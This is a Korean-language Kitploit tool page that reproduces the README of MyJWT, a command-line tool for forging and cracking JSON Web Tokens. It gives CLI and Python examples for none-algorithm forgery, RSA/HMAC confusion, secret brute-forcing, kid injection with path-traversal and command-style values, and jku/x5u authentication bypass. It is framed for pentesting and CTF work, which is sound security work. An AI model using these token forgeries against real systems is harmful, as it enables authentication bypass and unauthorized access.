Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
MyJWT — JSON Web Token(JWT)의 취약점을 크래킹하고 테스트하기 위한 CLI | Kitploit
도구/GitHubGitHub/tyki6/myjwt
Password CrackingVulnerability AnalysisWeb SecurityPenetration Testing
GitHubtyki6/myjwt

MyJWT

JSON Web Token(JWT)의 취약점을 크래킹하고 테스트하기 위한 CLI

저장소 보기
1381910개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

소개

이 CLI는 침투 테스터, CTF 플레이어 또는 개발자를 위한 것입니다.
JWT를 수정하고, 서명하고, 주입하는 등의 작업을 수행할 수 있습니다.
자세한 내용은 문서를 확인하세요.
문제가 있거나 개선 사항이 있으면 이슈를 보내주세요. 가능한 한 빨리 응답하겠습니다. 즐기세요 :)

문서

문서는 http://myjwt.readthedocs.io 에서 확인할 수 있습니다.

목차

  • 기능
  • 설치
  • 사용법
  • 예제
  • 다운로드
  • 기여
  • 변경 사항

기능

  • 새 JWT를 클립보드에 복사
  • 사용자 인터페이스 (questionary 덕분)
  • 컬러 출력
  • JWT 수정 (헤더/페이로드)
  • None 취약점
  • RSA/HMAC 혼동
  • 키로 JWT 서명
  • 무차별 대입으로 키 추측
  • 정규식을 사용한 JWT 크랙으로 키 추측
  • kid 주입
  • Jku 우회
  • X5u 우회

설치

myjwt를 설치하려면 pip를 사용하세요:

root@kitploit:~
pip install myjwt

Docker 이미지에서 myjwt를 실행하려면:

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# 워드리스트를 마운트하려면
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# Windows의 경우
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

git에서 myjwt를 설치하려면:

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

BlackArch에서 myjwt를 설치하려면:

root@kitploit:~
pacman -S myjwt

Packaging status

사용법

root@kitploit:~
$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -r, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

JWT 수정

JWT 확인 (HS 알고리즘)

옵션유형예제설명
--signtextmysecretkey키로 JWT 서명
--verifytextmysecretkey키 확인.

공격

JWT 전송

기타

예제

  • JWT 수정
  • None 취약점 확인
  • 서명 키
  • 무차별 대입 서명
  • RSA/HMAC 혼동
  • Kid 주입
  • 새 JWT를 URL로 전송
  • Jku 취약점
  • X5u 취약점

JWT 수정

CLI

root@kitploit:~
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

코드

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

전체 예제: 01-modify-jwt

None 취약점

CLI

root@kitploit:~
myjwt YOUR_JWT --none-vulnerability

코드

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

전체 예제: 02-none-vulnerability

서명 키

CLI

root@kitploit:~
myjwt YOUR_JWT --sign YOUR_KEY

코드

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

전체 예제: 03-sign-key

무차별 대입

CLI

root@kitploit:~
myjwt YOUR_JWT --bruteforce PATH

코드

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

전체 예제: 04-brute-force

크랙

CLI

root@kitploit:~
myjwt YOUR_JWT --crack REGEX

RSA/HMAC 혼동

CLI

root@kitploit:~
myjwt YOUR_JWT --hmac FILE

코드

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

전체 예제: 05-rsa-hmac-confusion

Kid 주입

CLI

root@kitploit:~
myjwt YOUR_JWT --kid INJECTION

코드

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

전체 예제: 06-kid-injection

새 JWT를 URL로 전송

CLI

root@kitploit:~
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku 취약점

CLI

root@kitploit:~
myjwt YOUR_JWT --jku YOUR_URL

코드

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

전체 예제: 07-jku-bypass

X5U 취약점

CLI

root@kitploit:~
myjwt YOUR_JWT --x5u YOUR_URL

코드

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

전체 예제: 08-x5u-bypass

다운로드

GitHub 릴리스를 확인하세요. 최신 버전은 https://github.com/mBouamama/MyJWT/releases/latest 에서 확인할 수 있습니다.

기여

  • 이 저장소를 포크하거나 클론하세요
  • 새 브랜치를 만드세요 (feature, hotfix 등)
  • 필요한 변경을 수행하고 커밋하세요
  • make lint로 린트를 확인하세요
  • make test로 단위 테스트를 확인하세요
  • 풀 리퀘스트를 보내주세요 가능한 한 빨리 확인하겠습니다.

변경 사항

로그가 상당히 길어져서 별도 파일로 이동했습니다.

CHANGES를 참조하세요.

도구 다운로드
옵션유형예제설명
--ful-payloadJSON{"user": "admin"}JWT의 새 페이로드.
-h, --add-headerkey=valueuser=adminJWT 헤더에 새 키-값을 추가합니다. 키가 이미 있으면 이전 값이 대체됩니다.
-p, --add-payloadkey=valueuser=adminJWT 페이로드에 새 키-값을 추가합니다. 키가 이미 있으면 이전 값이 대체됩니다.
옵션유형예제설명
-none, --none-vulnerability없음None 알고리즘 취약점 확인.
--hmacPATH./public.pemRS/HMAC 알고리즘 취약점 확인 및 공개 키로 JWT 서명.
--bruteforcePATH./wordlist/big.txt토큰 서명에 사용된 비밀을 무차별 대입으로 추측합니다. 모든 비밀번호가 한 줄에 하나씩 저장된 txt 파일을 사용합니다.
--crackREGEX"[a-z]{4}"정규식을 사용하여 토큰 서명에 사용된 비밀을 추측하기 위해 모든 문자열 가능성을 반복합니다.
--kidtext"00; echo /etc/.passwd"Kid SQL 주입
--jkutextMYPUBLICIPJku 헤더로 인증 우회, jwks 파일 이름을 변경하려면 --file을, 자신의 개인 pem을 사용하려면 --key를 사용하세요.
--x5utextMYPUBLICIPjku 또는 x5c 헤더의 경우, jwks 파일 이름을 변경하려면 --file을, 자신의 개인 pem을 사용하려면 --key를 사용하세요.
옵션유형예제설명
-u, --urlurlhttp://challenge01.root-me.org/web-serveur/ch59/adminJWT를 보낼 URL.
-m, --methodtextPOST요청에 사용할 HTTP 메서드 (기본값: GET).
-d, --datakey=valuesecret=MY_JWTURL로 보낼 데이터. 형식: key=value. 값이 MY_JWT이면 새 JWT로 대체됩니다.
-c, --cookieskey=valuesecret=MY_JWTURL로 보낼 쿠키. 형식: key=value. 값이 MY_JWT이면 새 JWT로 대체됩니다.
옵션유형예제설명
--crtPATH./public.crtx5c 헤더의 경우, crt 파일을 강제 지정
--keyPATH./private.pemjku 또는 x5c 헤더의 경우, 키 파일의 개인 키를 강제 지정
--filetextmyfilejku 헤더의 경우, .json 확장자 없이 파일 이름을 강제 지정
--print없음디코딩된 JWT 출력
--help없음도움말 메시지를 표시하고 종료.
--version없음Myjwt 버전 표시